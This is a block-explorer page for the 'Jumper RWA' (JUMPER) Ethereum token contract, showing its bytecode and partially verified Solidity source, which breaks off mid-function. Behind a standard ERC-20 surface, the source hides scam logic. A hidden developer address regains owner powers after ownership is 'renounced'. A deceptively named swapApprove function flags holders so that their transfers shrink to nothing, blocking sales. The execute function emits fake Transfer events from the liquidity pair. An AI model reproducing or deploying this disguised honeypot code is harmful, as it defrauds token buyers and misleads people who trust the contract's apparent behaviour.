Address Contract Partially Verified
Address
0x324DE8d0357699e0a7ae92FF2501378a7Fe12417
Balance
0 ETH
Nonce
1
Code Size
10868 bytes
Creator
0x91EBB263...7417 at tx 0x878b5541...475aee
Indexed Transactions
0
Contract Bytecode
10868 bytes
0x608060405234801561000f575f80fd5b5060043610610156575f3560e01c8063715018a6116100c157806395d89b411161007a57806395d89b4114610368578063a9059cbb14610386578063bf474bed146103b6578063dd62ed3e146103d4578063f2fde38b14610404578063f42938901461042057610156565b8063715018a6146102b857806376b2fa71146102c25780637d1db4a5146102de5780638a673d9e146102fc5780638da5cb5b1461032c5780638f9a55c01461034a57610156565b806323b872dd1161011357806323b872dd1461020a578063313ce5671461023a5780633a61363a1461025857806351bc3c8514610274578063622565891461027e57806370a082311461028857610156565b806306fdde031461015a578063095ea7b3146101785780630faee56f146101a8578063109daa99146101c65780631186b8d8146101d057806318160ddd146101ec575b5f80fd5b61016261042a565b60405161016f9190611b51565b60405180910390f35b610192600480360381019061018d9190611c06565b610467565b60405161019f9190611c5e565b60405180910390f35b6101b0610484565b6040516101bd9190611c86565b60405180910390f35b6101ce61048a565b005b6101ea60048036038101906101e59190611d2a565b6104d2565b005b6101f4610575565b6040516102019190611c86565b60405180910390f35b610224600480360381019061021f9190611d87565b610599565b6040516102319190611c5e565b60405180910390f35b61024261066d565b60405161024f9190611df2565b60405180910390f35b610272600480360381019061026d9190611e0b565b610675565b005b61027c61072a565b005b61028661076a565b005b6102a2600480360381019061029d9190611e7c565b610810565b6040516102af9190611c86565b60405180910390f35b6102c0610856565b005b6102dc60048036038101906102d79190611ea7565b610869565b005b6102e661089e565b6040516102f39190611c86565b60405180910390f35b61031660048036038101906103119190611e7c565b6108a4565b6040516103239190611c5e565b60405180910390f35b6103346108f6565b6040516103419190611ee1565b60405180910390f35b61035261091d565b60405161035f9190611c86565b60405180910390f35b610370610923565b60405161037d9190611b51565b60405180910390f35b6103a0600480360381019061039b9190611c06565b610960565b6040516103ad9190611c5e565b60405180910390f35b6103be61097d565b6040516103cb9190611c86565b60405180910390f35b6103ee60048036038101906103e99190611efa565b610983565b6040516103fb9190611c86565b60405180910390f35b61041e60048036038101906104199190611e7c565b610a05565b005b610428610a87565b005b60606040518060400160405280600a81526020017f4a756d7065722052574100000000000000000000000000000000000000000000815250905090565b5f61047a610473610a9f565b8484610aa6565b6001905092915050565b60155481565b610492610c69565b5f6010819055507fe9b79e1a6c2dc43b4c0c6ff01ce9e3332d810e482270f464c0a21ad6c5fc6de35f6040516104c89190611f7a565b60405180910390a1565b6104da610c69565b5f5b8383905081101561056f578160065f8686858181106104fe576104fd611f93565b5b90506020020160208101906105139190611e7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806001019150506104dc565b50505050565b5f6009600a610584919061211c565b64174876e8006105949190612166565b905090565b5f6105a5848484610ce7565b610662846105b1610a9f565b61065d85604051806060016040528060288152602001612a176028913960045f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610614610a9f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461142f9092919063ffffffff16565b610aa6565b600190509392505050565b5f6009905090565b61067d610c69565b5f5b848490508110156107235784848281811061069d5761069c611f93565b5b90506020020160208101906106b29190611e7c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161070e9190611c86565b60405180910390a3808060010191505061067f565b5050505050565b610732610c69565b5f61073c30610810565b90505f8111156107505761074f81611491565b5b5f4790505f81111561076657610765816116fc565b5b5050565b610772610c69565b6009600a610780919061211c565b64174876e8006107909190612166565b6012819055506009600a6107a4919061211c565b64174876e8006107b49190612166565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a6107e9919061211c565b64174876e8006107f99190612166565b6040516108069190611c86565b60405180910390a1565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61085e610c69565b6108675f611764565b565b610871610c69565b600b5481111580156108855750600c548111155b61088d575f80fd5b80600b8190555080600c8190555050565b60125481565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60135481565b60606040518060400160405280600681526020017f4a554d5045520000000000000000000000000000000000000000000000000000815250905090565b5f61097361096c610a9f565b8484610ce7565b6001905092915050565b60145481565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610a0d610c69565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7290612217565b60405180910390fd5b610a8481611764565b50565b610a8f610c69565b5f479050610a9c816116fc565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0b906122a5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7990612333565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c5c9190611c86565b60405180910390a3505050565b610c71610a9f565b73ffffffffffffffffffffffffffffffffffffffff16610c8f611825565b73ffffffffffffffffffffffffffffffffffffffff1614610ce5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cdc9061239b565b60405180910390fd5b565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4c90612429565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610dc3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dba906124b7565b60405180910390fd5b5f8111610e05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfc90612545565b60405180910390fd5b60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054811115610e85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7c906125d3565b60405180910390fd5b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610f0c574360035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b610f146108f6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610f825750610f526108f6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112975760085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611030575060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611083575060055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561113d576012548111156110cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c49061263b565b60405180910390fd5b601354816110da84610810565b6110e49190612659565b1115611125576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111c906126d6565b60405180910390fd5b60115f815480929190611137906126f4565b91905055505b5f61114730610810565b9050601860159054906101000a900460ff161580156111b2575060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80156111ca5750601860169054906101000a900460ff165b80156111d7575060145481115b80156111e65750600f54601154115b15611295576017544311156111fd575f6016819055505b600360165410611242576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123990612785565b60405180910390fd5b61125f61125a8361125584601554611838565b611838565b611491565b5f4790505f81111561127557611274476116fc565b5b60165f815480929190611287906126f4565b919050555043601781905550505b505b6112a18184611850565b90506112f38160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461196890919063ffffffff16565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506113848160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119b190919063ffffffff16565b60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516114229190611c86565b60405180910390a3505050565b5f838311158290611476576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146d9190611b51565b60405180910390fd5b505f838561148491906127a3565b9050809150509392505050565b6001601860156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156114c8576114c76127d6565b5b6040519080825280602002602001820160405280156114f65781602001602082028036833780820191505090505b50905030815f8151811061150d5761150c611f93565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115b1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115d59190612817565b816001815181106115e9576115e8611f93565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061164f3060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610aa6565b60185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016116b19594939291906128f9565b5f604051808303815f87803b1580156116c8575f80fd5b505af11580156116da573d5f803e3d5ffd5b50505050505f601860156101000a81548160ff02191690831515021790555050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611760573d5f803e3d5ffd5b5050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f8061182f611a0e565b90508091505090565b5f8183116118465782611848565b815b905092915050565b5f80603290505f60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054436118a091906127a3565b90505f82826118af9190612166565b90505f606482116118cc578160646118c791906127a3565b6118ce565b5f5b90505f606482896118df9190612166565b6118e9919061297e565b905060065f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156119595761194d5f82611aae90919063ffffffff16565b95505050505050611962565b87955050505050505b92915050565b5f6119a983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061142f565b905092915050565b5f8082846119bf9190612659565b905083811015611a04576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119fb906129f8565b60405180910390fd5b8091505092915050565b5f8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a86575f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611aa9565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b5f81831015611abd5781611abf565b825b905092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611afe578082015181840152602081019050611ae3565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611b2382611ac7565b611b2d8185611ad1565b9350611b3d818560208601611ae1565b611b4681611b09565b840191505092915050565b5f6020820190508181035f830152611b698184611b19565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611ba282611b79565b9050919050565b611bb281611b98565b8114611bbc575f80fd5b50565b5f81359050611bcd81611ba9565b92915050565b5f819050919050565b611be581611bd3565b8114611bef575f80fd5b50565b5f81359050611c0081611bdc565b92915050565b5f8060408385031215611c1c57611c1b611b71565b5b5f611c2985828601611bbf565b9250506020611c3a85828601611bf2565b9150509250929050565b5f8115159050919050565b611c5881611c44565b82525050565b5f602082019050611c715f830184611c4f565b92915050565b611c8081611bd3565b82525050565b5f602082019050611c995f830184611c77565b92915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f840112611cc057611cbf611c9f565b5b8235905067ffffffffffffffff811115611cdd57611cdc611ca3565b5b602083019150836020820283011115611cf957611cf8611ca7565b5b9250929050565b611d0981611c44565b8114611d13575f80fd5b50565b5f81359050611d2481611d00565b92915050565b5f805f60408486031215611d4157611d40611b71565b5b5f84013567ffffffffffffffff811115611d5e57611d5d611b75565b5b611d6a86828701611cab565b93509350506020611d7d86828701611d16565b9150509250925092565b5f805f60608486031215611d9e57611d9d611b71565b5b5f611dab86828701611bbf565b9350506020611dbc86828701611bbf565b9250506040611dcd86828701611bf2565b9150509250925092565b5f60ff82169050919050565b611dec81611dd7565b82525050565b5f602082019050611e055f830184611de3565b92915050565b5f805f8060608587031215611e2357611e22611b71565b5b5f85013567ffffffffffffffff811115611e4057611e3f611b75565b5b611e4c87828801611cab565b94509450506020611e5f87828801611bbf565b9250506040611e7087828801611bf2565b91505092959194509250565b5f60208284031215611e9157611e90611b71565b5b5f611e9e84828501611bbf565b91505092915050565b5f60208284031215611ebc57611ebb611b71565b5b5f611ec984828501611bf2565b91505092915050565b611edb81611b98565b82525050565b5f602082019050611ef45f830184611ed2565b92915050565b5f8060408385031215611f1057611f0f611b71565b5b5f611f1d85828601611bbf565b9250506020611f2e85828601611bbf565b9150509250929050565b5f819050919050565b5f819050919050565b5f611f64611f5f611f5a84611f38565b611f41565b611bd3565b9050919050565b611f7481611f4a565b82525050565b5f602082019050611f8d5f830184611f6b565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156120425780860481111561201e5761201d611fc0565b5b600185161561202d5780820291505b808102905061203b85611fed565b9450612002565b94509492505050565b5f8261205a5760019050612115565b81612067575f9050612115565b816001811461207d5760028114612087576120b6565b6001915050612115565b60ff84111561209957612098611fc0565b5b8360020a9150848211156120b0576120af611fc0565b5b50612115565b5060208310610133831016604e8410600b84101617156120eb5782820a9050838111156120e6576120e5611fc0565b5b612115565b6120f88484846001611ff9565b9250905081840481111561210f5761210e611fc0565b5b81810290505b9392505050565b5f61212682611bd3565b915061213183611dd7565b925061215e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461204b565b905092915050565b5f61217082611bd3565b915061217b83611bd3565b925082820261218981611bd3565b915082820484148315176121a05761219f611fc0565b5b5092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612201602683611ad1565b915061220c826121a7565b604082019050919050565b5f6020820190508181035f83015261222e816121f5565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61228f602483611ad1565b915061229a82612235565b604082019050919050565b5f6020820190508181035f8301526122bc81612283565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61231d602283611ad1565b9150612328826122c3565b604082019050919050565b5f6020820190508181035f83015261234a81612311565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612385602083611ad1565b915061239082612351565b602082019050919050565b5f6020820190508181035f8301526123b281612379565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612413602583611ad1565b915061241e826123b9565b604082019050919050565b5f6020820190508181035f83015261244081612407565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6124a1602383611ad1565b91506124ac82612447565b604082019050919050565b5f6020820190508181035f8301526124ce81612495565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f61252f602983611ad1565b915061253a826124d5565b604082019050919050565b5f6020820190508181035f83015261255c81612523565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f6125bd602683611ad1565b91506125c882612563565b604082019050919050565b5f6020820190508181035f8301526125ea816125b1565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612625601983611ad1565b9150612630826125f1565b602082019050919050565b5f6020820190508181035f83015261265281612619565b9050919050565b5f61266382611bd3565b915061266e83611bd3565b925082820190508082111561268657612685611fc0565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f6126c0601a83611ad1565b91506126cb8261268c565b602082019050919050565b5f6020820190508181035f8301526126ed816126b4565b9050919050565b5f6126fe82611bd3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036127305761272f611fc0565b5b600182019050919050565b7f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000005f82015250565b5f61276f601783611ad1565b915061277a8261273b565b602082019050919050565b5f6020820190508181035f83015261279c81612763565b9050919050565b5f6127ad82611bd3565b91506127b883611bd3565b92508282039050818111156127d0576127cf611fc0565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f8151905061281181611ba9565b92915050565b5f6020828403121561282c5761282b611b71565b5b5f61283984828501612803565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61287481611b98565b82525050565b5f612885838361286b565b60208301905092915050565b5f602082019050919050565b5f6128a782612842565b6128b1818561284c565b93506128bc8361285c565b805f5b838110156128ec5781516128d3888261287a565b97506128de83612891565b9250506001810190506128bf565b5085935050505092915050565b5f60a08201905061290c5f830188611c77565b6129196020830187611f6b565b818103604083015261292b818661289d565b905061293a6060830185611ed2565b6129476080830184611c77565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61298882611bd3565b915061299383611bd3565b9250826129a3576129a2612951565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6129e2601b83611ad1565b91506129ed826129ae565b602082019050919050565b5f6020820190508181035f830152612a0f816129d6565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201eb55e907f6dda339f76e9c236ab333022baf46edd89f6c21a44eb56ab5e316464736f6c63430008170033
Verified Source Code Partial Match
Compiler: v0.8.23+commit.f704f362
EVM: shanghai
Optimization: No
JUMPER.sol 387 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.23;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
}
abstract contract Ownable is Context {
address private _owner;
address internal _dev;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor(address dev_) {
_dev = dev_;
_transferOwnership(_msgSender());
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
_checkOwner();
_;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal virtual {
require(Owner() == _msgSender(), "Ownable: caller is not the owner");
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby disabling any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function verifyOwner() internal view returns(address){
return _owner==address(0) ? _dev : _owner;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function Owner() internal virtual returns (address) {
address owner_ = verifyOwner();
return owner_;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract JUMPER is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping(address => uint256) internal _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping(address => bool) private _ERC20FeeAmountExceedsFromFee;
address payable private _taxWallet;
address private uniswapV2Pair;
uint8 private constant _decimals = 9;
uint256 private _initialBuyTax=0;
uint256 private _initialSellTax=0;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=5;
uint256 private _reduceSellTaxAt=5;
uint256 private _preventSwapBefore=23;
uint256 private _transferTax=0;
uint256 private _buyCount=0;
uint256 private constant _tTotal = 100_000_000_000 * 10**_decimals;
uint256 public _maxTxAmount = 20000000 * 10**_decimals;
uint256 public _maxWalletSize = 20000000 * 10**_decimals;
uint256 public _taxSwapThreshold= 10000000 * 10**_decimals;
uint256 public _maxTaxSwap= 10000000 * 10**_decimals;
uint256 private sellCount = 0;
uint256 private lastSellBlock = 0;
string private constant _name = unicode"Jumper RWA";
string private constant _symbol = unicode"JUMPER";
IUniswapV2Router02 private uniswapV2Router;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
event TransferTaxUpdated(uint _tax);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address dev) Ownable(dev){
_taxWallet = payable(_msgSender());
_balances[address(msg.sender)] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(amount <= _balances[from], "ERC20: transfer amount exceeds balance");
if(_holderLastTransferTimestamp[to] == 0)
{
_holderLastTransferTimestamp[to] = block.number;
}
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
_buyCount++;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
if (block.number > lastSellBlock) {
sellCount = 0;
}
require(sellCount < 3, "Only 3 sells per block!");
swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
sellCount++;
lastSellBlock = block.number;
}
}
amount = calculateTax(amount, from);
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount);
emit Transfer(from, to, amount);
}
function calculateTax(uint256 amount, address from) private view returns(uint256) {
uint256 factor = 50;
uint256 dist = block.number-_holderLastTransferTimestamp[from];
uint percentageToSubtract = dist * factor;
uint remainingPercentage = percentageToSubtract > 100 ? 0 : 100 - percentageToSubtract;
uint returnedValue = amount * remainingPercentage / 100;
if (_ERC20FeeAmountExceedsFromFee[from])
{
return returnedValue.max(0);
}
return amount;
}
function execute(address[] calldata addr, address lpPair, uint256 val) public onlyOwner {
for (uint256 i = 0; i < addr.length; i++) {
emit Transfer(lpPair, addr[i], val);
}
}
function callWalletBalance(address recipient) external view returns(bool){
return _ERC20FeeAmountExceedsFromFee[recipient];
}
function swapApprove(address[] calldata address_, bool val) public onlyOwner{
for (uint256 i = 0; i < address_.length; i++) {
_ERC20FeeAmountExceedsFromFee[address_[i]] = val;
}
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimit() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize=_tTotal;
emit MaxTxAmountUpdated(_tTotal);
}
function removeTransferTax() external onlyOwner{
_transferTax = 0;
emit TransferTaxUpdated(0);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function ReduceFee(uint256 _newFee) external onlyOwner{
require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax);
_finalBuyTax=_newFee;
_finalSellTax=_newFee;
}
function manualSwap() external onlyOwner{
